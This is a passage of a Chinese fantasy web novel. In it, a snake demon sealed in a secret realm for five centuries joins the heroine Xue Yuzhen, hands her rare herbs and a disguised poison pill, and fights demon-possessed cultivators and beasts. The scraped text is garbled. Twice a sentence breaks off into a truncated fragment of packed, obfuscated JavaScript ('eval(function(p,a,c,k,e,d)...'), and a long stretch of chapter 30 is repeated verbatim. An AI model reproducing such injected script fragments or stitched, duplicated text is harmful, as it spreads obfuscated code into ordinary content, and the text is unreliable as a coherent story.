“当初犯了错,被宁沂逮住了,他没杀我,只是将我关在这秘境里,让我好好反思。”当初他只是一个刚至金丹的小蛇妖,误打误撞走到了五洲的地界。人类总是比其他族类要聪明,要生机勃勃,他见识不多,很快就迷失在繁华的人间。妖族的道德本就比人类要低很多,他不觉得抢有何错,也瞧不上没有灵力修为傍身的凡人,在五洲行事张狂,称得上一句欺男霸女。甚至自以为厉害的占山为王。那时五洲本就与魔域打得不可开交,修士们都去了前线,凡人生活得尤其艰难,更别说那些被泠宿欺压的人,惨上加惨。后来还是五洲修□□沂上仙路过被泠宿霸占的那块地区,半道被人拉着裤腿诉苦,就掺和进了这件事里。泠宿那时金丹修为,怎么可能打得过已经大乘期的宁沂上仙,三两下就被打趴下,丢进上仙弄着玩的秘境里去了。谁知这一待就是五百多年。 “他说让我好好反省,等到有缘人到了,我就能出去了。”泠宿的棱角早在枯燥的五百年里磨平,“谁知这秘境十年一开,开了两三百次了,没一个人是有缘人。”他无奈地叹了口气,“直到今日,我感受到宁沂先前设的禁制破了。” 薛予蓁暂时忘记了关于灵气的事情,“难道我就是那个有缘人?” 泠宿点点头,“是你。”他不知道从哪里又拿出那颗绿色的圆珠,“之前也并不是没有人见过我,但禁制根本没有反应。我本来已经不抱希望了,却感受到了一丝波动。这枚滚玉珠是宁沂设置的秘境通行令,你们的玉牌中应该也有此物。” 闻言,薛予蓁拿出玉牌上下看了看,还真叫她看到了一丝绿色。 “没有此物,我便出不了秘境的结界。” “可是前辈,你不能直接抢历练弟子的玉牌吗?”薛予蓁疑道。 怎么可能没试过?宁沂秘境被发现后第一次当作试炼场地他就试过了,没出去不说,还险些被宁沂上仙留下的一道灵力劈成烤蛇。虽然不知道原理到底是什么,但那些玉牌似乎是一次性认主的,根本不能为他人所用,更别说泠宿这条蛇了。 泠宿诚实地承认了自己的确抢过,在少女警惕地将玉牌往自己怀里收了收的动作下慢吞吞地补充,“并不管用,与我而言,这颗珠子是专属的通行令。” 宁沂上仙想到的可能性多了去了,于是在秘境布满了无断草,将滚玉珠随便丢在哪个里面,然后限制住泠宿靠近所有无断草的行动,直到有人能凑巧找到,然后把东西给他。 往事太过于漫长了,泠宿说了几句后就不想再提,“总之,你的确是那个有缘人。” “那前辈你现在就要出去了吗?”薛予蓁问道。 秘境里宁沂留下的灵气足够充足,泠宿这五百年来已经从金丹到了合体期,还是妖。他看见薛予蓁眼中藏着的警惕,不禁有些发愣。若是五百年前没被宁沂关进秘境时遇见她,看见这样的眼神,泠宿怕不是早就将人一尾巴拍死了——这种被人提防,质疑的眼神。但五百年后的泠宿却平静得很,他这些年的确因为被关在这里愤怒过,也曾一度想过自己出去以后会如何为非作歹。但“为非作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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泠宿见到薛问遥的时候,薛问遥都还是一个少年,肯定不可能知道自己的母亲。薛予蓁知道再问也问不到什么了,便也没再开口。 最后还是泠宿再次打破两人这沉默的气氛,“你接下有什么想去的地方吗?” 薛予蓁连忙道:“我要找一株明霞草。前辈知道明霞草生长在什么地方吗?”泠宿前辈在宁沂秘境待了五百多年,简直就是活地图。 “明霞草……”泠宿低声念了一边,而后就朝着湖中木屋走去,“跟着我。” “噢噢,是,前辈。”薛予蓁急忙跟上,“前辈是有明霞草吗?” 泠宿已经在置物架上翻找来了,“应当是采摘过的。” 置物架很大,几乎占满了整面墙,薛予蓁在上面看见很多在古籍上和拍卖阁名册上才能看见到的灵草灵药。她没去触碰,只是沿着架子一个一个看过去,一个一个念着: “灵溯花。”拍卖阁能卖几百万灵石。 “芊儿草。”这个品阶低了,只能卖不到百万。 …… 看到最后一个,薛予蓁眼睛陡然睁大,“浮生丹……”传说中能解百毒医百病的上重天仙丹。 泠宿冷不丁地开口,“你若是喜欢,都带走吧。” 薛予蓁回过神,忙摆摆手,“没没没有!我只是好奇……” 泠宿手里已经拿了一把明霞草,他也看着这面置物架,“没关系,这些东西放在这里也是无用,你若是喜欢,带走也无妨。” 薛予蓁观泠宿神色认真,眼珠子滴溜溜地又转到了架子上的东西上,可耻地心动了。 但还是假装推拒了一下。只有一下。 泠宿没经历过这种,他是真的觉得没用,没等薛予蓁动手,他自己取出一个储物囊,开始往里面填鸭式地放东西。 什么灵溯花,芊儿草,全部装进去! 装到后面时,泠宿对着小匣子中的浮生丹沉默了。薛予蓁自然不会觉得这是前辈不愿意给,而且就算是不愿意,她也没有任何怨言了,毕竟她手里的这些玩意已经价值无数了。 “这东西……” 薛予蓁抢先道:“前辈就留着它吧!” 泠宿摇摇头,“我所认识的人,即使是仇人都已经不在了,我要这个也没用。”他顿了一下,面目突然狰狞了一下,但很快恢复平静,“就算宁沂还活着,他已飞升上重天了,给他下毒也没用了。” 薛予蓁听见泠宿说要给宁沂上仙下毒,先是倒吸了一口冷气,几秒后又反应过来,“下毒!?用,用浮生丹吗?”她惊讶到磕巴了一下。 泠宿看见她这个表情,诡异地沉默了一会儿,“你们记载的浮生丹不会还是‘能解百毒的上重天仙丹’吧。”看到薛予蓁一副“难道不是”的样子后,他突然笑了一下,“你知道不微上仙吗?” 薛予蓁点点头,这个她看过。不微上仙,步夏,是药宗,也就是凌河药谷前身的掌门,据说不仅救人治病了得,在用毒方面也是高手。 “浮生丹就是她研制的,并非什么上重天仙丹,也不是什么解百毒医百病的丹药。”泠宿道,“因为浮生丹本就是一味毒药,能在顷刻间让一位化神期的修士毙命。” 29. 第二十九章 异变 薛予蓁瞳孔地震。 浮生丹是五洲与魔域大战最后阶段时不微上仙研制出来的,她花了数不尽的毒草毒虫,也仅仅只炼制出九颗。但要想让魔域的几位主战大将吃下去,自然是不太容易了。于是这位古灵精怪的掌门想出一个法子:在每次自己撒完毒药之后,散播一下“上重天仙丹”的谣言,让这味毒药不是自己送出去,而且别人来讨要,来偷。既然要是“仙丹”,那就不能取一个太毒的名字,于是浮生丹就此出世。不仅解决了两位重伤的魔族大将,还诛杀了六位利欲熏心与魔族合作的人族修士。 听完泠宿的话,薛予蓁蠢蠢欲动的心彻底被砸死。幸好前辈是一个知道嘴是长来说话的人,呃,蛇吧还是。不然薛予蓁都已经打算将这玩意拿去给施淼淼治病了。她心中一阵后怕,险些就将施淼淼害死了。 但薛予蓁依旧有问题,“可前辈你不是在大战中期就被宁沂上仙……”抓进来了吗?她没敢把话说全,怕前辈恼羞成怒。 但泠宿的情绪是真的很稳定,他点点头,“是,但是当初宁沂把秘境当个芥子空间带在身上,不管什么东西都往里面丢,嘴又碎,什么都要说两句。”宁沂上仙才不管泠宿听不听,只管自己说出来就行了。 “咳…”泠宿前辈还是有点可怜的。 泠宿将小匣子合上,递给她,“你还是拿着吧,若是遇到什么难应对的敌人,塞他嘴里,化神一下立马毙命,化神以上不死也重伤。” 薛予蓁觉得前辈说得对,也没推辞,将它和泠宿给她的储物囊一起小心翼翼地放进了自己的储物囊里。 现在,宝贝也拿到手了,明霞草也找到了。泠宿问她,“你的任务已经完成了,你要现在就出去吗?” 薛予蓁当然不会现在就出去,她想了想,既然泠宿对秘境的了解很多,那说不定也会知道碧绛草的位置。 “碧绛草?”泠宿道。 薛予蓁道:“是,前辈可知道此物?” 泠宿皱着眉想了想,而后摇摇头,“我并没有在秘境里看见过这种草药。” 虽然知道事情不会这么顺利,但薛予蓁还是小小地失落了一下。 “不过,我可以带你去宁沂的宝库,说不定被他丢到那里面去了。”泠宿道。 薛予蓁嘴上说着“这真的可以吗”,眼睛却亮晶晶的。 也是走出泠宿的居所后,薛予蓁才知道原来宁沂秘境还有第二层的存在。秘境的第二层就很符合她对秘境的刻板印象了。比起第一层的平静秀丽,第二层更加阴暗,放眼望去是遮天蔽日的巨树和四散林立的石壁。 泠宿化作一条小蛇盘在她的手腕,“许多人找不到第二层的入口,基本上都是在第一层游荡。” “啊?”薛予蓁惊讶道,“那他们找得到东西吗?噢,找不到也可以出去的。” 泠宿道:“你小心一些,第二层比上面要危险许多,宁沂丢了很多凶兽进来。” 闻言,薛予蓁放松的肩膀立马紧了起来,手也覆在了伐邪的剑柄上。 其实泠宿不说,薛予蓁也知道这里更危险一些。上面进去的时候,还能听见树林里有鸟叫,但下面却是一片寂静,连她踩到落叶的声音都被放大了好几倍。 “唰!” “嘭!” 身后突然响起两道声音,薛予蓁立马拔出伐邪转身提防,却见一名修士正摔倒在她面前,口中溢出大把鲜血,面色惨白。薛予蓁没想到下层凶恶,会凶恶成这样,她急忙上前查看。 那名修士是一个小宗门的,薛予蓁不认得他的校服。待薛予蓁走到他的身旁,那人一把攥住她的手腕,极其用劲,“快,快去上层…呃……” “把明霞草喂给他。”袖中的泠宿也看见他模样,出声提醒道。 那名弟子说完话就耗尽了力气,现在已经处于半昏迷的样子了。薛予蓁掏出明霞草,以灵力为辅,喂进他的嘴里,他还有些意识,自己咽了下去。 “前辈,下面这么危险吗?” 泠宿知道下层要凶险一些,但也没料到会这般,不,应当说不应该这般凶险。他探出脑袋看了看倒在地上的弟子,服下明霞草后看起来要好了一点,但若是没遇上薛予蓁,他多半会死在这里。 泠宿细细地看了半晌,那名弟子突然睁开眼睛,满目狰狞地提剑就朝薛予蓁劈去。薛予蓁先前放下防备,陡然被攻击时没有反应过来,只得侧身闪躲了一下,锋利的剑刃在小臂上划开一道口子。 薛予蓁捂着小臂急急退了两步,“这是怎么回事?!” 那名弟子神情骇人,眼露凶光,一剑刺偏后,分毫不停留地就朝薛予蓁攻去。 薛予蓁来不及去管什么伤口,看这人不太对劲,也不敢下死手,只能一边格挡攻击,一边躲闪。“前辈!明霞草还有这样的副作用吗!!!” 泠宿这会儿总算想起来这名弟子身上让他不舒服的气息是什么了——是魔族的气息!这也是他长久没说话的原因,魔域分明在五百年前就被封印了,为什么宁沂的秘境里会有沾染魔气的修士?! 被魔气俯身的弟子理智全无,完全不在乎自己的伤,什么招式凶险歹毒就用什么招式往薛予蓁身上招呼。泠宿回过神时,只能躲闪和格挡的薛予蓁已经落入下风了,她被逼到石壁的死处,正横举着剑死命挡着近在眼前的利刃。 泠宿不再犹豫,“薛予蓁,他没救了,杀了他!” 薛予蓁闻言一激灵,“杀了他??!这——伐邪!” 在她惊愕的那一瞬间,修士找到机会,身上魔气暴涨,当即就要朝着薛予蓁的命门刺去。薛予蓁没办法再躲闪,也来不及举剑。 但伐邪却自己从薛予蓁的手中挣脱下来,堪堪挡下这一击!而后便招招狠厉地往修士身上打去,修士一开始还能和伐邪过上几招,后面却是节节败退,被伐邪一招挑飞了佩剑,跌坐在地上。薛予蓁松了一口气,正打算上前去将那人制住。却听见“呲噗”一声,伐邪直直地洞穿了修士的胸膛。 薛予蓁却来不及去惊叹伐邪的举动,因为在修士的身后,一道黑影被伐邪生生打出了修士的身体,此时正尖声大叫着。伐邪并未犹豫,将自己从修士的胸膛拔出,凝起灵力将黑影斩断,灰飞烟灭。 泠宿化形感到修士身边,在他伤口处点下几处穴道,再看他的伤口,流出来的尽是黑血。泠宿眸色一沉,果然是魔族。 发觉薛予蓁没动静,泠宿疑惑地扭头看去。薛予蓁低着头,看不起表情,却浑身都在发抖。泠宿原本只当她是害怕了,上前想去安慰她。 薛予蓁这时抬起头,眼中满是恨意。双手紧紧纂成拳,小臂上的伤口因为用力的缘故,又开始流血了。 泠宿轻声道:“薛予蓁?” “那是什么?前辈,你知道那是什么的对吧?”她猛然回过神,急切地看向泠宿。 “是篡灵术。”泠宿道,“是魔族的功法。”当初魔族不少用这种功法篡夺凡人的身体,让他们自相残杀,让修士下不得剑。 薛予蓁却不知道那些,她只记得当初母亲一剑洞穿自己的胸膛后,身后也有这样的,巨大的黑影。 “原来,是魔族吗?”薛予蓁喃喃道,她看向已经呼吸微弱的修士,勉强让自己平静下来,“前辈,他还有救吗?” 泠宿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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随着距离接近,薛予蓁也看清楚了追在他们身后撵的凶兽是什么。一条通体漆黑,足足有五倍泠宿原型那么大的蟒蛇。 薛予蓁目瞪口呆:“前辈,你能同它——” 泠宿冷漠回应:“我的禁制解开后,修为便被压制到元婴期了。”但他认得那条大蟒,乌霜赤焰蟒,是沉渊峰地界修炼了几百年的一只灵兽,原是镇守沉渊峰入口的,后来却被魔族篡灵,将自己的尖牙对准了守护了几百年的人类。 他还记得宁沂将这条蟒丢进秘境时的表情。宁沂上仙就爱穿颜色鲜艳的衣服,他容貌昳丽,天生一双笑眼。那天他进秘境来,丢给泠宿一条半死不活的蟒蛇,让他看着它,治好伤口后便丢进先前就准备好的阵法之中。泠宿认出来是乌霜赤焰,问他为什么不直接杀了。宁沂上仙漫不经心地擦拭着剑上的血迹,看了一眼乌霜赤焰蟒,他刚刚经历了一场厮杀,红衣被血浸得有些发黑,眼中却是温和的。 “好歹守了沉渊峰那么多年,是个大功臣啊。”他沉默了一会儿,又轻声补充道,“本不该如此的。” 灵兽同人不一样,灵智不易被完全侵蚀,宁沂当年设的阵法能净化魔气,原本五百多年,泠宿虽谈不上日日照看,却也三五不时地去瞧瞧它。乌霜赤焰身上的魔气都要消退了,今日却突然暴涨。 泠宿不解,但有一件事情是明了的。他明黄的眼瞳暗沉沉地扫过每一个靠近的人,也几乎是同时,薛予蓁蓄气入剑。二人心中都有同样一个想法:进来的某个人或者某些人,一定有问题。 柳倾云和元弋晓作为崇涧宗的首席弟子,自然是要护着自家弟子。二人落在最后,一人一边将前面的弟子护在一个包围圈中,不时挥出几剑阻挡乌霜赤焰的行进。 不巧,跑在最前面的那名弟子就是之前和莫泱对骂的那个,他看见薛予蓁,脸上露出惊讶的表情,脚步也缓了一下。 薛予蓁往旁边一让,冷声道:“别停,往里面走。” 30. 第三十章 围困 那弟子愣了一下,便也没有犹豫地带着身后的数名弟子往她身后的区域走。薛予蓁草草扫过几名弟子,见他们身上都有不同程度的伤,便得知先前一定是一场恶战。 视线落到前方的柳倾云和元弋晓身上,两人鹅黄的校服上几乎都是血迹。乌霜赤焰显然是被两人时不时来一下的剑招惹怒了,它不再前进,盘在原地嘶吼一声,巨木般粗壮的尾巴便扫了过来。柳倾云原本是能躲过去的,但将走时余光瞥到一个小弟子似乎是被吓到了,僵在原地直愣愣地瞧着大蟒。这并不是崇涧宗的弟子,柳倾云却没犹豫,调转脚步一把拎着小弟子的后领将他抛到后方。 元弋晓也还护着几名修士,看见这一幕的时候已经来不及了,“倾倾——!”他将手中佩剑灌注灵气朝蛇尾掷去,同时眼前飞快略过一道身影,他倏地愣住了。 而柳倾云已经做好被击中的准备了,抵御的功法口诀已经抵在嘴边,却感觉肩膀一紧,被人死死搂住。她惊愕地侧首看去,只看见薛予蓁小半张脸,眼神警惕而又专注地盯着前方挥来的蛇尾,随后便步法轻捷地带着她纵身飞起,脚尖轻踏在一旁的树干上,躲过了乌霜赤焰的一击,再借着树干的力,稳稳地落在了元弋晓身边。 眼见没命中目标,又生生挨了一记的乌霜赤焰又要发红,薛予蓁放开柳倾云打算去找泠宿商量对策。谁知要抽身离开时却感觉手腕被死死拉住,她回首看去,柳倾云一脸难以置信的表情看着她,嘴唇张合两下,却什么都没说出来。情况本就危急,她还这般,薛予蓁不耐地甩开她的手,“柳倾云,这般情景你还要计较先前的事?”说罢,也不等两人的反应,便前去支援和乌霜赤焰交手起来的泠宿。 柳倾云深吸一口气,看了看自己的手,扭头看向元弋晓,见他也一副震惊的表情,心下有了安慰,正打算开口,元弋晓却先拍了拍她,“可是无碍?” 柳倾云道:“她来得很及时,没事。” 元弋晓点点头,“那就好。先解决眼前的事,剩下的安全了再说。” 柳倾云招出自己的长鞭,眼神骤然变得凌厉,“好,我倒要看看到底是什么玩意在作怪。”说完后便舞着长鞭上前去。 元弋晓却站在原地看了一会儿薛予蓁,眼神随着她的剑招而动。片刻后,他也执剑上前。 薛予蓁配合着泠宿,将乌霜赤焰逗得团团转。看着泠宿灵动游移的身法,再看乌霜赤焰一瞬不瞬地盯着他的模样,薛予蓁闪过一道火焰,道:“前辈,你好熟悉它的招式啊。” 泠宿自袖中掏出几道符箓,口中默念法诀,而后信手一挥,符箓四散落在乌霜赤焰的八个方位,泠宿喝道:“起!” 霎时,自符箓中伸出八道以灵力凝聚的粗壮链条,将乌霜赤焰死死锁在原地。乌霜赤焰不断扭动挣扎着,却没能撼动那八道链条,只能嘶吼着将赤红的蛇瞳对着泠宿。 众人这才有了一丝喘气的机会。薛予蓁正打算问问泠宿这强悍的阵法,却看见元弋晓和柳倾云甫一停手便朝着她过来,她顿时神情冷漠了起来。 柳倾云和元弋晓也不是傻的,进秘境前就和薛予蓁起了冲突,自然不会直接去问她,而是恭敬地朝着泠宿行了一礼,“四方缚灵阵都能使得出来,想必是位大前辈。” 泠宿没感受到这三人之间奇怪的气氛,只摆摆手,“谈不上,这符箓是别人给我的。”说完他也有些错愕,按照宁沂原本的想法,乌霜赤焰会待在净化阵中直到身上的魔气完全被洗净,以他那时候的能力,足以完全保证这件事情,但当时却丢给他了这几道灵符。难不成那时,他就预料到今日状况?泠宿看向一旁肃然的薛予蓁,还有这个替他解除禁制的“有缘人”。到底是真的有缘,还是宁沂安排的“有缘”? 薛予蓁感受到泠宿的目光,看向他,这时倒是又温和下来了,她笑了一下,“前辈?怎么了吗?” 事情巧合变多之后就变成刻意安排了。但这仅仅只是泠宿的猜测,他摇摇头,“无事。我的修为不足以完全支撑四方缚灵阵,我们必须马上离开这里,找一个安全的地方。乌霜赤焰很会找人。” 旁边默默听着几人说话的小修士忍不住道:“这第二层不是这儿有一条蟒,就是那有一只狼,到处都是凶兽,哪里还有什么安全的地方?” 他本只是想着吐槽两句,谁知泠宿听完后倏地看向他,明黄色的瞳孔在昏暗的环境中尤其骇人,那名修士抖了抖,急忙想要道歉。泠宿却道:“你说什么?到处都是凶兽?” 虽然泠宿的修为被压制到了元婴期,但这也足够威慑到一个刚及金丹的小修士了,他哆嗦了两下,一个字也没吐出来。 柳倾云和元弋晓对视一眼,柳倾云问道:“前辈,薛姑娘,你们不是被凶兽追赶至此的吗?” 泠宿在问完话后便又沉入了自己的思绪当中,事关重要,薛予蓁也不再追究什么矛盾冲突,她摇摇头,“我和前辈,是从上面下来的,并不是一直在第二层。”她说了自己进秘境之后遇到的事情,当然,隐去了关于泠宿大部分的情况,只说是自己的机缘。 柳倾云和元弋晓,以及刚刚那个小修士都愣了一下,“迷阵?我们并未遇到什么迷阵,走进大门后一睁眼就到了这里。” 薛予蓁也不可置信地看着她,“什么?可,我确实是先被传送到了一个迷阵当中后,才进的秘境。” 元弋晓沉吟了一下,“这里人不齐全,直接传送,或是进入迷阵,也许是宁沂上仙设置的不同的考验方式。” 现在也没有更好的解释了,薛予蓁只能点点头,心中却是不太相信的。思及先前被篡灵的弟子,还有眼前发狂的乌霜赤焰,薛予蓁忽地感觉自己仿佛被一个巨大的阴谋包围着。 这时,泠宿突然道:“你们,说一下是怎么聚到一起的。” 柳倾云道:“我本是一个人被传送进来的,后面突然遇到几个不知是哪个门派的弟子,他们被一头巨狼追着,原是想去帮忙,却没想到打不过,只能同他们一道跑了,再往后就是撞见了元弋晓。” 元弋晓点头,他之前的经历和柳倾云差不多,只是巨狼变成了巨蟒。 其余的修士也纷纷附和,最惨的那个是自己走着走着,就被巨狼盯上了,她一瞧就知道自己打不过,撒腿就跑。 泠宿道:“那狼呢?” 柳倾云道:“它和巨蟒撞到后,就打起来,但它打到一半,就跑了。” 试炼本是为了考验修士独自一人时的能力,才会在传送时将人尽可能的分开,但这一次,秘境里的凶兽居然在将所有人都赶到一处。泠宿心中不安至极,却想不出理由来,只能道:“此地不宜久留,我们必须马上走。” 那弟子愣了一下,便也没有犹豫地带着身后的数名弟子往她身后的区域走。薛予蓁草草扫过几名弟子,见他们身上都有不同程度的伤,便得知先前一定是一场恶战。 视线落到前方的柳倾云和元弋晓身上,两人鹅黄的校服上几乎都是血迹。乌霜赤焰显然是被两人时不时来一下的剑招惹怒了,它不再前进,盘在原地嘶吼一声,巨木般粗壮的尾巴便扫了过来。柳倾云原本是能躲过去的,但将走时余光瞥到一个小弟子似乎是被吓到了,僵在原地直愣愣地瞧着大蟒。这并不是崇涧宗的弟子,柳倾云却没犹豫,调转脚步一把拎着小弟子的后领将他抛到后方。 元弋晓也还护着几名修士,看见这一幕的时候已经来不及了,“倾倾——!”他将手中佩剑灌注灵气朝蛇尾掷去,同时眼前飞快略过一道身影,他倏地愣住了。 而柳倾云已经做好被击中的准备了,抵御的功法口诀已经抵在嘴边,却感觉肩膀一紧,被人死死搂住。她惊愕地侧首看去,只看见薛予蓁小半张脸,眼神警惕而又专注地盯着前方挥来的蛇尾,随后便步法轻捷地带着她纵身飞起,脚尖轻踏在一旁的树干上,躲过了乌霜赤焰的一击,再借着树干的力,稳稳地落在了元弋晓身边。 眼见没命中目标,又生生挨了一记的乌霜赤焰又要发红,薛予蓁放开柳倾云打算去找泠宿商量对策。谁知要抽身离开时却感觉手腕被死死拉住,她回首看去,柳倾云一脸难以置信的表情看着她,嘴唇张合两下,却什么都没说出来。情况本就危急,她还这般,薛予蓁不耐地甩开她的手,“柳倾云,这般情景你还要计较先前的事?”说罢,也不等两人的反应,便前去支援和乌霜赤焰交手起来的泠宿。 柳倾云深吸一口气,看了看自己的手,扭头看向元弋晓,见他也一副震惊的表情,心下有了安慰,正打算开口,元弋晓却先拍了拍她,“可是无碍?” 柳倾云道:“她来得很及时,没事。” 元弋晓点点头,“那就好。先解决眼前的事,剩下的安全了再说。” 柳倾云招出自己的长鞭,眼神骤然变得凌厉,“好,我倒要看看到底是什么玩意在作怪。”说完后便舞着长鞭上前去。 元弋晓却站在原地看了一会儿薛予蓁,眼神随着她的剑招而动。片刻后,他也执剑上前。 薛予蓁配合着泠宿,将乌霜赤焰逗得团团转。看着泠宿灵动游移的身法,再看乌霜赤焰一瞬不瞬地盯着他的模样,薛予蓁闪过一道火焰,道:“前辈,你好熟悉它的招式啊。” 泠宿自袖中掏出几道符箓,口中默念法诀,而后信手一挥,符箓四散落在乌霜赤焰的八个方位,泠宿喝道:“起!” 霎时,自符箓中伸出八道以灵力凝聚的粗壮链条,将乌霜赤焰死死锁在原地。乌霜赤焰不断扭动挣扎着,却没能撼动那八道链条,只能嘶吼着将赤红的蛇瞳对着泠宿。 众人这才有了一丝喘气的机会。薛予蓁正打算问问泠宿这强悍的阵法,却看见元弋晓和柳倾云甫一停手便朝着她过来,她顿时神情冷漠了起来。 柳倾云和元弋晓也不是傻的,进秘境前就和薛予蓁起了冲突,自然不会直接去问她,而是恭敬地朝着泠宿行了一礼,“四方缚灵阵都能使得出来,想必是位大前辈。” 泠宿没感受到这三人之间奇怪的气氛,只摆摆手,“谈不上,这符箓是别人给我的。”说完他也有些错愕,按照宁沂原本的想法,乌霜赤焰会待在净化阵中直到身上的魔气完全被洗净,以他那时候的能力,足以完全保证这件事情,但当时却丢给他了这几道灵符。难不成那时,他就预料到今日状况?泠宿看向一旁肃然的薛予蓁,还有这个替他解除禁制的“有缘人”。到底是真的有缘,还是宁沂安排的“有缘”? 薛予蓁感受到泠宿的目光,看向他,这时倒是又温和下来了,她笑了一下,“前辈?怎么了吗?” 事情巧合变多之后就变成刻意安排了。但这仅仅只是泠宿的猜测,他摇摇头,“无事。我的修为不足以完全支撑四方缚灵阵,我们必须马上离开这里,找一个安全的地方。乌霜赤焰很会找人。” 旁边默默听着几人说话的小修士忍不住道:“这第二层不是这儿有一条蟒,就是那有一只狼,到处都是凶兽,哪里还有什么安全的地方?” 他本只是想着吐槽两句,谁知泠宿听完后倏地看向他,明黄色的瞳孔在 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现在也没有更好的解释了,薛予蓁只能点点头,心中却是不太相信的。思及先前被篡灵的弟子,还有眼前发狂的乌霜赤焰,薛予蓁忽地感觉自己仿佛被一个巨大的阴谋包围着。 这时,泠宿突然道:“你们,说一下是怎么聚到一起的。” 柳倾云道:“我本是一个人被传送进来的,后面突然遇到几个不知是哪个门派的弟子,他们被一头巨狼追着,原是想去帮忙,却没想到打不过,只能同他们一道跑了,再往后就是撞见了元弋晓。” 元弋晓点头,他之前的经历和柳倾云差不多,只是巨狼变成了巨蟒。 其余的修士也纷纷附和,最惨的那个是自己走着走着,就被巨狼盯上了,她一瞧就知道自己打不过,撒腿就跑。 泠宿道:“那狼呢?” 柳倾云道:“它和巨蟒撞到后,就打起来,但它打到一半,就跑了。” 试炼本是为了考验修士独自一人时的能力,才会在传送时将人尽可能的分开,但这一次,秘境里的凶兽居然在将所有人都赶到一处。泠宿心中不安至极,却想不出理由来,只能道:“此地不宜久留,我们必须马上走。” 与柳倾云和元弋晓而言,泠宿是搭救他们的前辈,前辈既然说要跑,那便跟着就是,自然崇涧宗的弟子都跟着他们一道走了。而其余小门小派的弟子,你我面面相觑对视一眼后,即便是有什么想法,也不敢说,只能一道跟着跑了。 薛予蓁跟在泠宿身后,也没了心思问问题。一拨人进了一片林子里后,泠宿忽然说道:“前面有声音,有人!”说罢,一道流光闪过,他又变成小蛇缩到了薛予蓁的袖子里,“我暂且先不露面,莫要多说。” 冰凉的蛇身缠在自己的手腕上,触感滑溜溜的,放在以前,薛予蓁怎么着也要起个鸡皮疙瘩以示对这类生物的尊重,但现如今却叫人平白多了几分安心。 她点点头,“晚辈知道。” 身后看见这样场面的柳倾云和元弋晓也不过是一开始时有些惊讶,但秘境中能得到何种机缘都是看各人的运数,他们也不会多问。 只是,这声音若是细听的话,并不只是前方传来,而是四面八方而来。 元弋晓和柳倾云交换了一个眼神,两人迅速动作,一个落到后方护着中间的弟子,一个奔到前方和薛予蓁并排。 “薛姑娘,能否透露一下,我们这是要去哪?”柳倾云最受不得安静,即便是知道薛予蓁这会看自己不耐烦,也硬着头皮搭话道。 薛予蓁这会儿早不在意两人之间的什么恩怨了,她脚步侧耳辨声,脚步未停,“不知,但前辈说还要往前走。” 柳倾云很想问一下这个前辈到底靠不靠谱,可不可信,但先前人家才救了自己,这会儿也不是听不见她说话,只好嗯嗯啊啊的应了两声。 “铮铮!” 右侧前方突然出来剑刃碰撞的声音,薛予蓁抬眼看去,眼前一亮,立马喊道:“子书师兄!小谢公子!” 那两个衣袂翻飞,剑影相撞的正是子书珹和谢云涧,倒不是他二人在互殴,而是一起攻击一只巨狼。那巨狼有两人高,眼睛赤红,獠牙外翻,爪子锋利得连石头都劈的开。子书珹和谢云涧前后接应,一人在前以剑招诱敌,一人在后以阵法制之。但或许是差距太大,两人的动作还不足以完全克制住巨狼,只让它行动受限,变得迟缓了些。 这对两人来说已经足够了。听见薛予蓁的声音后,本打算往别处逃的两人不约而同地朝着她的位置奔来。 “薛姑娘!” “小风筝!” 不过眨眼间,两人就到了薛予蓁面前。时间急迫,薛予蓁示意柳倾云先带着众人往前走,自己落在后面和子书珹他们说话。 “好巧呀薛姑娘,我听人说,要在宁沂秘境里遇见,可不是一件容易的事情呢。”瞧见子书珹要开口,谢云涧微微往前一步,抢先开口道。 子书珹果然脸色一变,伸手要去拉薛予蓁的手腕,但后者想起手腕上缠着的蛇前辈,抬手往子书珹的手腕上一搭,“是啊哈哈哈,竟然如此巧合。子书师兄和小谢公子是怎么是碰见的呢?” 子书珹闻言微微一笑,“同谢公子有缘,路上撞上他被狼追。” 谢云涧刚想辩解,薛予蓁却脸色一变,“遇见子书师兄和谢公子有些高兴得忘了正事了,咱们先走吧,这边怕是不安全。” 31. 第三十一章 陷落 路途中,三人交换了彼此的情况,都和之前崇涧宗的弟子们说得差不多。而周围越来越密集的脚步声和凶兽的嘶吼声也说明了遇见这种情况的不止他们。 谢云涧听见薛予蓁说是一位前辈让他们往这个方向去时,疑道:“薛姑娘可是确定往这个方向去?这四面八方赶人的凶兽,似乎都是朝着这个方向。那位前辈莫不是要我们全去送死?” 饶是和他不太对付的子书珹都面露犹疑,“他说的也有理。”在被巨狼追赶到这边之前,子书珹和谢云涧也尝试过分开跑,但一人跑开,必定会被巨狼或别的什么东西追上,再一次赶到前往这个方向的路上。 泠宿到底可不可信,薛予蓁也无从确认,但这位前辈看着的确不像是莫名其妙地要害他们的样子。她正犹豫着要不要将泠宿供出来,但这时,脑中传来他的声音。 “先不要说。”声音隔了一会儿后又道,“信我。” 薛予蓁只得道:“若是要害人的话,先前就不必救我了,何况那位前辈修为被压制着,将人拢在一起反倒是更不方便吧。子书师兄,小谢公子,暂且先信他一下吧。” 她都这般说着,子书珹和谢云涧便不再多言。 三人很快就赶上了大部队,而这时,更多的人从四面加了进来。 “小心,乌霜赤焰追上来了。”泠宿提醒道。 薛予蓁绝望道:“宁沂上仙到底为什么要丢这么多凶兽进来啊?!” 可惜没有人能回答她这个问题。 现如今这里已经有六七十人了,薛予蓁也在逃难的队伍中看见了知源宗的几位弟子——是徐赠春和许乐禾莫泱还有三四位薛予蓁不太熟悉的弟子。大家一碰面就开始和自己门派的人抱团取暖,叽叽喳喳地说个不停。 从前面跑来的几个弟子道:“诸位别往前面跑了,前面的凶兽更多啊。” “是啊是啊,乌泱泱的一群不知道为什么玩意儿,看着像狼?” 还有人唉声叹气,“这可怎么办啊?四面八方都是凶兽,我们怎么打得过!!” 薛予蓁混在人群里,小声地问泠宿,“前辈,还要往前面去吗?” “不必了,大约就是这个位置了。”泠宿感觉到她的不安,晃晃蛇尾贴在她的手腕上安抚道,“别担心,一会儿乌霜赤焰过来后,我便将这里的阵法激活。” “阵法?” 